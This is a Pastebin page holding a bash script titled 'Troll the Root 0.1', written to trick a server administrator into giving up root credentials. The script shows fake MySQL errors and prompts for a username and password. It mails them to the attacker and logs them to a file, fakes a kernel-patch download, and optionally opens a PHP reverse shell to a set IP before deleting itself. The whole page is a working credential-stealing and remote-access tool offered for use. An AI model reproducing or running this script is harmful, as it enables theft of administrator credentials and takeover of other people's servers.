Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- # Troll the Root 0.1
- # thebreach3r :)
- # This program is free software: distributed in the hope that it will be useful,
- # but WITHOUT ANY WARRANTY; without even the implied warranty of
- # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- #Configuration
- email=$1
- #Change this to 1 if you wanna run a revershe shell
- REVERSESHELL_use=0
- REVERSESHELL_ip="122.122.122.122"
- REVERSESHELL_port=9999
- #-------------------------------------------
- #Feel free to change the messages , it just need to be legit !
- Message1="PHP: Thread/process 2620/3077437120 failed: Thread died in MySQL\n
- error: db3 error(-30974) from dbenv->failchk: DB_RUNRECOVERY: Fatal error, run database recovery\n
- error: cannot open Packages index using db3 - (-30974)\n
- error: cannot open Packages database in /var/mysql\n
- CRITICAL:mysql.recovery:\n
- Error: recovery failed\n"
- Message2="\n[+]Downloading the kernel patch...\n"
- Message3="\n[+]Patching...\n"
- Message4="[+]The kernel was successfully patched ...\n"
- PatchUrl="http://www.kernel.org/pub/linux/kernel/projects/rt/2.6.26/patch-2.6.26.8-rt16.gz"
- echo -ne $Message1
- echo -ne Please, enter your $(hostname) username:
- read username
- read -s -p "Enter your Password: " password
- echo -ne $Message2
- #if /bin/mail isn't implemented on the server (improbable) you can use a wget or curl to a php script that will take those credentials
- #smthng like www.yourwebsite.com/get.php?username=$username&passwd=$$username
- mail -s "w00t - The damage at $(hostname) has been done, enjoy r00t ->username:$username , password:$password" $email
- echo " ----------------------" >> troll.txt
- echo "|Troll the Root Results|" >> troll.txt
- echo " ----------------------" >> troll.txt
- echo "Username: $username" >> troll.txt
- echo 'with' >> troll.txt
- echo "Password: $password" >> troll.txt
- echo '' >> troll.txt
- echo "Enjoy being r00t!" >> troll.txt 2. /dev/null
- wget $PatchUrl
- echo -ne $Message3
- sleep 10
- echo -ne $Message4
- if [ $REVERSESHELL_use -eq 1 ]; then
- #Feel free to change this backconnect script to your favorite
- php -r '$sock=fsockopen("$REVERSESHELL_ip",$REVERSESHELL_port);exec("/bin/sh -i <&3 >&3 2>&3");'
- mail -s "$(hostname) Successful Reverse Shell" $email
- fi;
- #unComment the last line if you wanna remove the script from the server
- #rm -f $0
Advertisement
Add Comment
Please, Sign In to add comment